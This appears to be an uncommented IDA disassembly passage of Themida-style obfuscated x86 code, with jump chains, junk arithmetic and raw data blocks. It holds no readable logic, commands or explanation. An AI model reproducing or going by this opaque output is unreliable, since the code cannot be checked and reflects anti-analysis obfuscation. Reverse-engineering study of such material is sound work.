		db 5, 55h, 6
		dd 0E8010F48h, 4806552Dh, 242C8B0Fh, 0FFC6C5E9h, 5AD300FFh
		dd 0FF9569E9h, 89E889FFh, 92E958C6h, 8B00004Bh,	0ABE92424h
		dd 5B00003Eh, 4C481h, 0BCE90000h, 8BFFFFA0h, 0C481242Ch
		dd 4, 2FCEE9h, 241C8B00h, 4C481h, 0BEB70000h, 885AF728h
		dd 241C8BF9h, 0FFE868E9h, 0E1F766FFh, 4EC81h, 95E90000h
		dd 58FFFFFEh, 2C581h, 0FF550000h, 5D042474h, 8B24048Fh
		dd 8B662424h, 0C9E92404h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50890B:				; CODE XREF: Themida_:00502F8Fj
		mov	esi, 15987958h
		xor	edi, esi
		pop	esi
		sub	ecx, edi
		pop	edi
		xor	ecx, 59A74F11h
		and	ebx, ecx
		pop	ecx
		jmp	loc_5084A2
; ---------------------------------------------------------------------------


loc_508924:				; CODE XREF: Themida_:00508573j
		not	ecx
		xchg	ecx, edi
		sub	edi, 47E40EE0h
		and	edi, 26DB6C81h
		jmp	loc_50DD9C
; ---------------------------------------------------------------------------


loc_508939:				; CODE XREF: Themida_:00508BA0j
		add	eax, 3ACE6754h
		sub	eax, ecx
		sub	eax, 3ACE6754h
		pop	ecx
		jmp	loc_504FC6
; ---------------------------------------------------------------------------
aI4SL		db '4$(L',0
		dw 8300h
		dd 82E902EEh, 66000031h, 6FF18059h, 34FFCB28h, 240C8B24h
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_503917
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 53240C8Bh, 8904EC83h, 4812424h, 424h, 0C3815B00h, 4
		dd 4C381h, 1C870000h, 31AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5089AE:				; CODE XREF: Themida_:005053A6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	700F2A61h
		pop	esi
		sub	esi, 27C569E7h
		inc	esi
		push	ecx
		push	edi
		mov	edi, 23A4595Dh
		mov	ecx, 1D351F2Ah
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 750A5BF0h
		or	edi, 56315B36h
		sub	edi, 1D58462Fh
		add	edi, 0E8F5C30h
		sub	ecx, edi
		pop	edi
		jmp	loc_5042C5
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 8
		dd 0FFF030E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5089FD:				; CODE XREF: Themida_:00501DACj
		pop	edi
		add	ecx, 4
		jmp	loc_50C9DA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 348B5424h, 4C48324h,	15C9B850h, 0D8F74517h, 4003E8C1h
		dd 0FD475135h, 323DE93Bh, 52AD0000h, 3B7DEABAh,	58312D25h
		dd 0D0294C69h, 0C3E95557h, 8700003Ch, 28E92404h, 5FFFFACh
		dd 4, 405h, 24048700h, 0E9C3015Ch, 21C9h, 2C2815Eh, 0E9000000h
		dd 0FFFFDF43h
; ---------------------------------------------------------------------------


loc_508A64:				; CODE XREF: Themida_:00503CA9j
		xor	ecx, ebx
		pop	ebx
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	5B20h
		mov	[esp], ebx
		mov	edx, [esp]
		push	7F3Dh
		mov	[esp], ebx
		jmp	loc_50D199
; ---------------------------------------------------------------------------


loc_508A8C:				; CODE XREF: Themida_:005023FAj
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_501811
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0D7E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508AB2:				; CODE XREF: Themida_:0050B892j
		pop	ebx
		pop	ebx
		add	ebx, 4
		push	edx
		push	eax
		mov	eax, 17FA43EEh
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		neg	ebp
		xchg	eax, ebp
		shl	eax, 6
		xor	eax, 16F0482h
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_509EB3
; ---------------------------------------------------------------------------
		dd 3560F381h, 0EB8132B6h, 25712A2Eh, 3BFDE9h
		db 0
; ---------------------------------------------------------------------------


loc_508AF1:				; CODE XREF: Themida_:00505243j
		push	ebp
		jmp	loc_502D33
; ---------------------------------------------------------------------------
		db 68h
		dd 6FF9h, 0BF243C89h, 1770293Fh, 3C8BF901h, 4CE8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508B0E:				; CODE XREF: Themida_:00508325j
		xor	edi, esi
		xor	esi, edi
		add	esi, 362FE175h
		jmp	loc_502CE3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 3C8904ECh, 45C6E924h, 0C890000h, 33B5E924h
		dd 0CB810000h, 445F07EBh, 0FEF3814Bh, 536D5F37h, 0C5815B58h
		dd 5E6A11A3h, 1061ED81h, 0C50132ECh, 1061C581h,	0ED8132ECh
		dd 5E6A11A3h, 0FFFD8AE9h, 33C781FFh, 0FF3BB078h, 0E95A2434h
		dd 363Ah, 0C213022Dh, 548E908h,	0D9310000h, 59CB295Bh
		dd 815B038Bh, 84543C2h,	76BB5374h, 16F0175h, 0FBD2E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508B9A:				; CODE XREF: Themida_:0050834Cj
		xor	ecx, 55A35067h
		jmp	loc_508939
; ---------------------------------------------------------------------------


loc_508BA5:				; CODE XREF: Themida_:00502202j
		mov	ebp, 1AE016FFh
		or	edx, ebp
		jmp	loc_504565
; ---------------------------------------------------------------------------


loc_508BB1:				; CODE XREF: Themida_:00503122j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	32Fh
		mov	[esp], ebp
		mov	eax, [esp]
		jmp	loc_506281
; ---------------------------------------------------------------------------
		dd 322C81BBh, 0D3F74323h, 7348C381h, 0DA09673Ch, 0C9F2815Bh
		dd 0E9CFEAFEh, 0FFFFA065h
; ---------------------------------------------------------------------------


loc_508BE4:				; CODE XREF: Themida_:00506AC3j
		push	ecx
		mov	ecx, 14683EADh
		add	eax, ecx
		jmp	loc_50729A
; ---------------------------------------------------------------------------


loc_508BF1:				; CODE XREF: Themida_:0050BA53j
		xor	eax, ebx
		pop	ebx
		xor	eax, 0B16259B4h
		push	eax
		xor	dword ptr [esp], 28C52F52h
		pop	ebp
		xor	ebp, 28C52F52h
		jmp	loc_50A670
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 42474FFh, 8B2434FFh,	0C483242Ch, 4C48304h, 0FFF8ADE9h
		dd 24248BFFh, 0E92424D3h, 0FFFFEED1h, 24048B66h, 8904EC83h
		dd 0E789243Ch, 4C781h, 0EC830000h, 24348904h, 5665C3BEh
		dd 68D6F739h, 0E95h, 0E9243C89h, 4E9Ch,	83242489h, 59042404h
		dd 4AD4E9h, 2434FF00h, 68240C8Bh, 36BFh, 0E9241C89h, 0FFFFE751h
		dd 8704E983h, 895C240Ch, 0E389241Ch, 4C381h, 0A5680000h
		dd 89000007h, 2EE9242Ch, 1FFFFB2h, 0CD015FF9h, 0FFFB80E9h
		dd 3C875DFFh, 24895C24h, 24048124h, 4, 81240C8Bh, 4C4h
		dd 4C18100h, 0E9000000h, 4B26h,	1346E95Ch, 0E3890000h
		dd 4C381h, 53560000h, 122935BBh, 7E3C134h, 8106EBC1h, 581ADCE3h
		dd 0BA52552Ah, 0FFFFEDBCh, 0DDE9D589h, 33FFFFEEh, 34312434h
		dd 9917E924h, 0D701FFFFh, 5224148Bh, 0E956E289h, 1446h
; ---------------------------------------------------------------------------


loc_508D10:				; CODE XREF: Themida_:0050DD32j
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5068CC
; ---------------------------------------------------------------------------
aZS		db ',$\##',0
		align 2
		dw 815Fh
		dd 14042444h, 1393F53h,	8104246Ch, 1404246Ch, 52393F53h
		dd 4A3C26BAh, 24542923h, 2C8B5A08h, 9E35E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508D52:				; CODE XREF: Themida_:00506858j
		push	edx
		jmp	loc_50481E
; ---------------------------------------------------------------------------
		dd 0FF8AB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508D5D:				; CODE XREF: Themida_:0050C0F2j
		push	edx
		jmp	loc_50B991
; ---------------------------------------------------------------------------
		db 83h
		dd 0F581FFEDh, 724946AEh, 0D31E9h, 6E8C100h, 5105E8C1h
		dd 0FFFFFFB9h, 8BB3E9FFh, 0C301FFFFh, 0FFD553E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508D89:				; CODE XREF: Themida_:0050C59Ej
		pop	eax
		add	esp, 4
		pop	ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		not	eax
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_504F78
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E9512404h, 0FFFFE4E3h, 0BD665566h, 216671A0h
		dd 665D66E9h, 6807E1C1h, 24BEh,	66241489h, 663FF4BAh, 0F64FE942h
		dd 575DFFFFh, 4BFh, 0E9FD0100h,	0FFFF9C1Ch
; ---------------------------------------------------------------------------


loc_508DE0:				; CODE XREF: Themida_:0050265Fj
		mov	ebx, 12656744h
		shl	ebx, 7
		jmp	loc_50A741
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704C2h, 24248B24h, 1C8B5453h, 4C48324h
		dd 4B9FB951h, 0F0E90FD5h, 5600004Dh, 0FFAC9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508E15:				; CODE XREF: Themida_:005019BDj
		add	esp, 4
		jmp	loc_509727
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 10F6E951h
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50CC31
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 0FE92434h, 80FFFFA9h, 0E82871C5h,	57240C8Bh
		dd 0C781E789h, 4, 0E904C783h, 0FFFFCF76h, 6656665Ah, 661F66BEh
		dd 36E9F701h, 81000012h, 4ECh, 240C8900h, 3E6938B9h, 0CFF6E90Dh
		dd 0C483FFFFh, 0DBC38004h, 6802EBC0h, 4E6Dh, 0B6241489h
		dd 0D0CE80DAh, 0FFF199E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508E99:				; CODE XREF: Themida_:00504CA4j
		push	38675061h
		pop	eax
		jmp	loc_5076DC
; ---------------------------------------------------------------------------
		dd 19A468h, 24348900h, 3DCD68h,	24048900h, 242C8153h, 24053EE6h
		dd 2507E9h
		db 0
; ---------------------------------------------------------------------------


loc_508EC1:				; CODE XREF: Themida_:00507409j
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_504C8A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 525A2434h, 0FFF779E9h, 71E9ADFFh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_508EE3:				; CODE XREF: Themida_:0050BDCFj
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_50BA58
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 0B2BB5324h, 563DF219h, 8435DCBEh, 0C311E976h, 0EA01FFFFh
		dd 1B6EE9h, 5BDD8900h, 0FFC6CEE9h, 0EB815EFFh, 4, 5C241C87h
		dd 0E9242C89h, 0FFFFC2A2h
; ---------------------------------------------------------------------------


loc_508F28:				; CODE XREF: Themida_:005072D5j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_502306
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	43304C0h, 24043124h, 0E9240433h
		dd 0FFFF9BA0h, 8B242C33h, 4FE92424h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508F5F:				; CODE XREF: Themida_:0050D038j
		add	edx, 4
		jmp	loc_50600C
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 358D17E4h, 0FF91EEE9h, 5FFA01FFh, 2E95F52h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_508F7F:				; CODE XREF: Themida_:0050A295j
		push	dword ptr [edi+24h]
		push	eax
		pop	dword ptr [edi+24h]
		pop	eax
		jmp	loc_50B101
; ---------------------------------------------------------------------------


loc_508F8C:				; CODE XREF: Themida_:0050ACB8j
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_509F00
		push	dword ptr [edi+1Ch]
		jmp	loc_502664
; ---------------------------------------------------------------------------
		dd 0CC40C781h, 0FE01B02Ch, 4C6815Fh, 68000000h,	5AD4h
		dd 0FFE0B2E9h, 24348BFFh, 5E08950h, 4, 8704C083h, 565C2404h
		dd 455D5E55h, 0F756EE87h, 525E2414h, 4A7EA9BAh,	5AD629BAh
		dd 0B5EF229h, 94840FC9h, 57FFFFCCh, 4EC81h, 24890000h
		dd 24048324h, 243C8B04h, 4C481h, 0BD550000h, 4,	835DEF01h
		dd 3C8704EFh, 0BB47E924h, 4ACFFFFh, 83D800B0h, 896602ECh
		dd 0B0B7241Ch, 0FF90F5E9h, 4C481FFh, 56000000h,	0EC835E54h
		dd 241C8904h, 3ECDE9h, 59EE8100h, 8137C915h, 0C00EB6C6h
		dd 0F2EE8134h, 0E960FE40h, 0FFFFB2F2h, 4C781h, 5DE90000h
		dd 87FFFFA7h, 0E95C2434h, 2596h, 8124348Bh, 4C4h, 0E1C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509076:				; CODE XREF: Themida_:00506F84j
		mov	[esp], esi
		jmp	loc_507627
; ---------------------------------------------------------------------------
		dw 0F829h
		dd offset dword_450050+20A99h
		dd 0FFD50000h, 148B2434h, 4C48124h, 83000000h, 0B65204C4h
		dd 9FB753A0h, 81FF780h,	0C6805BFEh, 8BF530A2h, 0C4812414h
		dd 4, 0FFFD8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5090B5:				; CODE XREF: Themida_:0050BB51j
		pop	esi
		jmp	loc_50410E
; ---------------------------------------------------------------------------


loc_5090BB:				; CODE XREF: Themida_:0050A942j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50D313
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 1302BB53h, 0B8E908C2h, 8100003Bh, 602435E9h,	85E18119h
		dd 81496365h, 0E91E3EF1h, 0B6E98153h, 0E95BAB3Eh, 312h
		dd 4DBAB951h, 0E94923D8h, 0FFFFEA6Fh, 0E9241C89h, 1657h
		dd 96F7E958h, 568FFFFh,	8900004Eh, 74FF240Ch, 34FF0424h
		dd 0C4815924h, 4, 0E924048Fh, 310Ah, 0EEE9D02Ch, 59FFFFC3h
		dd 5C24048Fh, 0E9242489h, 0FFFFC9AFh, 4839F681h, 0D6F720F9h
		dd 4ADCE9h, 0B1E95200h,	5C000014h, 50241489h, 0F65C57B8h
		dd 26FB2D1Ah, 0E8D14D1Eh, 504E0C1h, 18CC654Ch, 6D0B7725h
		dd 222D1Ah, 0C289020Ch,	8BD00158h, 0C4832414h, 24043304h
		dd 395CE9h, 4C48100h, 0E9000000h, 0FFFF9559h, 0FF867CE9h
		dd 58E388FFh, 28A5EB80h, 0A5C380C3h, 8B2434FFh,	0D4E92404h
		dd 52FFFF8Fh, 4377E9h, 10B95100h, 8167A077h, 175FECC9h
		dd 3E1C13Fh, 417DE9h, 4EC8100h,	89000000h, 0D2E92404h
		dd 0B9FFFFD0h, 51A5DA26h, 3158C129h, 0C8315FF9h, 57E95159h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5091E7:				; CODE XREF: Themida_:0050C9B0j
		pop	edx


loc_5091E8:				; CODE XREF: Themida_:005073B6j
		push	ebx
		push	edx
		mov	edx, 60E007CEh
		sub	[esp+4], edx
		jmp	loc_502478
; ---------------------------------------------------------------------------
		dd 0FF8614E9h, 4C483FFh, 26E9h,	35C78100h, 29B2A35Dh, 0E9575FF8h
		dd 3671h, 815FFE89h, 810E8AC3h,	52F30176h, 324297BAh, 0D1E94214h
		dd 29000011h, 4F92DD8h,	8DE9198Ah, 8100002Ah, 71552DC2h
		dd 14335D7Ah, 24143124h, 3DCDE9h
		db 0
; ---------------------------------------------------------------------------


loc_509249:				; CODE XREF: Themida_:0050214Cj
		push	edx
		push	40756134h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50BD32
; ---------------------------------------------------------------------------
		db 0BEh, 40h, 31h
		dd 0F0315202h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_50BD5C
; ---------------------------------------------------------------------------


loc_509277:				; CODE XREF: Themida_:00509806j
		mov	ebx, 6152438Eh
		mov	esi, 6152438Fh
		sub	esi, ebx
		pop	ebx
		add	ecx, esi
		jmp	loc_50C34F
; ---------------------------------------------------------------------------


loc_50928B:				; CODE XREF: Themida_:00505417j
		sub	dh, al
		jmp	loc_505DB0
; ---------------------------------------------------------------------------
		dw 0BD05h
		dd 55DE478h, 0E9F4C61h,	3BDE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5092A2:				; CODE XREF: Themida_:0050BFA3j
		xor	eax, ecx
		jmp	loc_50C489
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 0A7E904EAh, 68000011h, 63BAh, 54240489h
		dd 39E9E9h, 0C6D20500h,	0B8507C15h, 6CF64554h, 7F14E405h
		dd 9C781F2h, 1179B1Fh, 9EF81C7h, 58179B1Fh, 0EF81C729h
		dd 5F755A38h, 0FFC728E9h, 48F66FFh, 0B686624h, 14896625h
		dd 3B34E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509302:				; CODE XREF: Themida_:00504D2Bj
		push	19Bh
		jmp	loc_503F44
; ---------------------------------------------------------------------------
		dd 0D828CE2Ch, 815BCE04h, 2ECh,	14896600h, 5586824h, 0C890000h
		dd 86B25224h, 0B753D2F6h, 8BFA288Eh, 1AE9241Ch,	28FFFF87h
		dd 90EB80C3h, 2AC38058h, 0EB80C328h, 0FECE92Ah,	0E9520000h
		dd 0FFFFEF77h, 0B850D7F7h, 15901EE7h, 0FD34932Dh, 9B2E958h
		dd 54B90000h, 13ACD3Fh,	0FA7E9C8h, 0DCF60000h, 8016E480h
		dd 0DEE969ECh, 8100000Ah, 4C2h,	4C28100h, 0E9000000h, 0FFFFE6B2h
		dd 5B66FA30h, 805AD428h, 7FE99EECh, 8BFFFFF0h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	5A8Ch
		mov	[esp], esi
		jmp	loc_50C708
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0D3662424h, 0E99C2424h, 38B0h
; ---------------------------------------------------------------------------


loc_5093C4:				; CODE XREF: Themida_:005062A0j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 22423FC6h
		shr	edi, 3
		jmp	loc_50BF7B
; ---------------------------------------------------------------------------
		dd 4244431h, 2434FF58h,	2505E9h, 4C48300h, 9A77E955h, 2BFFFFFh
		dd 1000000h, 243C8BFBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_507EE5
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 83240C8Bh, 0C08304C4h, 24048704h, 6824248Bh,	7BBBh
		dd 68243489h, 200h, 5E2434FFh, 0FF9D8DE9h, 0B60F66FFh
		dd 0FF545200h, 835A2434h, 22E904C4h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50943B:				; CODE XREF: Themida_:0050186Fj
		push	7C21h
		mov	[esp], ebp
		jmp	loc_50869F
; ---------------------------------------------------------------------------
		dd 4BFh, 9AE95100h, 68000034h, 3F05h, 68242C89h, 3D81h
		dd 0E9243489h, 1C83h, 68D831ADh, 2DF2h,	37F7E9h, 207F8300h
		dd 42840F00h, 68FFFF89h, 54Ch, 50243C89h, 0E005B1B8h, 36323544h
		dd 0CF683C06h, 0E9000012h, 469Ch, 5AD38966h, 246C8166h
		dd 66621002h, 2245C01h,	24448166h, 66621002h, 83241C8Bh
		dd 12E902C4h, 58000005h, 69BB5358h, 0F7522373h,	0A1E94BD3h
		dd 57FFFFBAh, 0F87F2CBFh, 3B82E968h, 0C1FE0000h, 0BE980h
		dd 0DBF659CBh, 80B4E380h, 0DD00C7C3h, 59E8005Bh, 0E9514E2Ch
		dd 0FFFFB6D5h, 683B6866h, 240C8966h, 0FF8AD2E9h, 0E9D988FFh
		dd 0FFFF8BC4h, 4244C01h, 0FFCEF6E9h, 2434FFFFh,	0E0895058h
		dd 405h, 4BF5700h, 29000000h, 243C8BF8h, 8704C483h, 895C2404h
		dd 0D768243Ch, 89000062h, 0B8502424h, 4, 4244401h, 0C7815F58h
		dd 4, 8104C783h, 4ECh, 243C8900h, 42474FFh, 0FC2E9h, 58C28900h
		dd 4AE7F281h, 0EA816BEEh, 16C05DD6h, 0D3EA814Ah, 89D383A7h
		dd 447E9D7h, 2C300000h,	242C3224h, 66242C30h, 0E9640F68h
		dd 3E15h, 0AECF8158h, 524A2E67h, 0C76BBAh, 5AD7018Dh, 3C8BF831h
		dd 0E7895724h, 2A95E9h,	0E8315900h, 51242C8Bh, 0BA52E189h
		dd 148A619Dh, 2ABAE9h, 24448100h, 7023CF04h, 0E9595B15h
		dd 0FFFF9124h, 8158C289h, 0AB36AEC1h, 0E9D12937h, 0FFFFB7DCh
; ---------------------------------------------------------------------------


loc_5095E4:				; CODE XREF: Themida_:0050C39Ej
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 169B138Bh
		push	4EE8h
		mov	[esp], edx
		mov	edx, 595321AFh
		add	ecx, edx
		pop	edx
		jmp	loc_5071C5
; ---------------------------------------------------------------------------
aPirs		db 'P',0
		db 0A9h
		dd 0C87FFFFh, 87E95C24h, 53FFFFB9h, 0C381E389h,	4, 4EB81h
		dd 1C870000h, 0A3685C24h, 89000058h, 4832424h, 48F0424h
		dd 0BB535124h, 68EF64E0h, 52DCB81h, 4BE926E1h, 5B000045h
		dd 4EE81h, 34870000h, 6AE95C24h, 83FFFF86h, 0C8904ECh
		dd 0F8685024h, 5849F535h, 0FFC2C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509671:				; CODE XREF: Themida_:00503926j
		push	2C73h
		jmp	loc_50C453
; ---------------------------------------------------------------------------
		db 81h
		dd 870633CBh, 3BCB8139h, 811C164Dh, 21AE69F3h, 3752E9F4h
		dd 5E5E0000h, 0FFDC12E9h, 242C87FFh, 3024248Bh,	0E99C2404h
		dd 0FFFF8169h, 24048B66h, 8904EC83h, 0E0892404h, 8904EC83h
		dd 0BF57240Ch, 4, 242C8157h, 23FD19D9h,	83240C8Bh, 0BA5204C4h
		dd 7F92655Ch, 1A3FE9h, 81E78900h, 4C7h,	4EF8300h, 0A1DE9h
		dd 0E9575E00h, 3D50h, 34FFD821h, 2434FF24h, 4C4835Bh, 0B04C483h
		dd 0D0840FC0h, 50FFFFC0h, 22268h, 24348900h, 0E7036BEh
		dd 0EF68158h, 8133B645h, 0DB19EBC6h, 0C2E9460Bh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509727:				; CODE XREF: Themida_:00508E18j
		or	eax, eax
		jz	loc_50B82C
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_5086E6
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 13BE679Eh, 815DE829h, 0DE15A9EFh, 6BC78169h,	177FC6Dh
		dd 6BEF81C7h, 0E977FC6Dh, 0FFFFFA4Fh, 4B951h, 0CD010000h
		dd 242C8759h, 0FF24248Bh, 57582434h, 0BA52E789h, 4D7F7AF8h
		dd 0F74AD2F7h, 0BC281D2h, 81B28085h, 0B07833EFh, 0E9D7013Bh
		dd 0FFFFF3D5h, 0FFE9CB01h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509797:				; CODE XREF: Themida_:0050766Ej
		push	edx
		mov	edx, 19593852h
		add	ebp, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_506BDF
; ---------------------------------------------------------------------------
		dw 8141h
		dd 0E5D3BCF1h, 59CB29E5h, 0FF93A5E9h, 6A3568FFh, 1C890000h
		dd 0DABDE924h, 0CD01FFFFh, 638AED81h, 6859288Ch, 4ED0h
		dd 0BF243C89h, 2, 875FFD29h, 47E9242Ch
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5097EF:				; CODE XREF: Themida_:00506787j
		xor	ebx, 5A500A97h
		sub	ebx, 31CE79E5h
		push	ebx
		pop	ecx
		pop	ebx
		or	ecx, 101428DDh
		push	esi
		push	ebx
		jmp	loc_509277
; ---------------------------------------------------------------------------


loc_50980B:				; CODE XREF: Themida_:00501A74j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_5020AC
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 0EBEAE900h, 8F64FFFFh,	7FDFE902h, 74FFFFFFh, 54E90424h
		dd 89FFFFAAh, 0ABE9241Ch, 53FFFFDAh, 0FFFDD2E9h, 4EE468FFh
		dd 2C890000h, 81E58924h, 4C5h, 1DCEE900h, 0EE810000h, 0CE977986h
		dd 15EF729h, 0C3815FFBh, 2, 0FF8B32E9h,	241489FFh, 4BAh
		dd 8BD72900h, 0C4832414h, 243C8704h, 2404895Ch,	0FF40478Fh
		dd 29E92434h, 68FFFFD0h, 1EE47207h, 0A1D2E958h,	0E9ADFFFFh
		dd 0FFFFA049h, 24048F58h, 6624248Bh, 5724048Bh,	0AA68E789h
		dd 0E9000042h, 0FFFFCCE5h
; ---------------------------------------------------------------------------


loc_5098C0:				; CODE XREF: Themida_:00503D52j
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_503553
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 1139h, 46D7F681h, 0F0290900h, 24348B5Eh, 4C481h, 0FE90000h
		dd 57000005h, 3A1477BFh, 0E9FE0916h, 0FFFFB327h, 46857h
		dd 3BE90000h, 52FFFFCDh, 0C80005BAh, 0C5E95343h, 56FFFF8Ch
		dd 0B12E69BEh, 5EF2294Dh, 81D2F742h, 214008C2h,	5AD601D4h
		dd 0FF86CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509925:				; CODE XREF: Themida_:00508452j
		mov	[esp], eax
		mov	eax, esp
		push	edi
		push	ebx
		push	ebp
		push	7C21007Dh
		pop	ebp
		shr	ebp, 6
		xor	ebp, 4941CBD8h
		jmp	loc_5063FC
; ---------------------------------------------------------------------------
		db 68h,	0E8h, 38h
		dd 1C8B137Ch, 4C48124h,	81000000h, 8DD1CEC3h, 0E9DE89F6h
		dd 1210h, 0FE01ED80h, 0AFED80CDh, 0E800C404h, 59C42Ch
		dd 0B15153D8h, 0C0D9F63Eh, 0C18006E9h, 80D1F6AEh, 0CB8879E9h
		dd 8D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_509985:				; CODE XREF: Themida_:0050B5B4j
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_50BDC4
; ---------------------------------------------------------------------------
		dd 0E9FB8953h, 0FFFFF575h, 4E9555Ah, 6600002Ah,	9C241CF7h
		dd 0FF7E68E9h, 5EF589FFh, 4246C01h, 241C8B5Dh, 8104C483h
		dd 4C3h, 2C38100h, 53000000h, 0FFE1C4E9h, 24148BFFh, 0FFE907E9h
		dd 7E3BE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5099D6:				; CODE XREF: Themida_:00502905j
		xor	ebp, 0E833E7D4h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5019B8
; ---------------------------------------------------------------------------
		dd 0FA8BE9ADh, 3489FFFFh, 55E68924h, 6C41A0BDh,	24E58142h
		dd 0F7622B02h, 24BE56DDh, 1422800h, 0C6815EF5h,	220536E6h
		dd 0EE81EE01h, 220536E6h, 0FFDE08E9h, 4C381FFh,	81000000h
		dd 2C3h, 241C8700h, 6624248Bh, 68240C8Bh, 79C2h, 89242C89h
		dd 26BE56E5h, 0D112FA48h, 23C681E6h, 814EB976h,	0A86565EEh
		dd 6EE8165h, 810F05A1h,	0B67EF4C5h, 81F5011Eh, 0B67EF4EDh
		dd 0EC815E1Eh, 4, 203CE9h, 24248B00h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF7D91h, 23A8F281h, 6AE9318Eh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509A8B:				; CODE XREF: Themida_:00501B87j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	ebp
		and	eax, ecx
		jmp	loc_50C524
; ---------------------------------------------------------------------------
		dd 8208E959h, 0C581FFFFh, 730852F6h, 40DCD81h, 8BE90E20h
		dd 0D1FFFFC7h, 0B6C1E9E8h, 0D930FFFFh, 0E9CB285Bh, 2BCFh
; ---------------------------------------------------------------------------


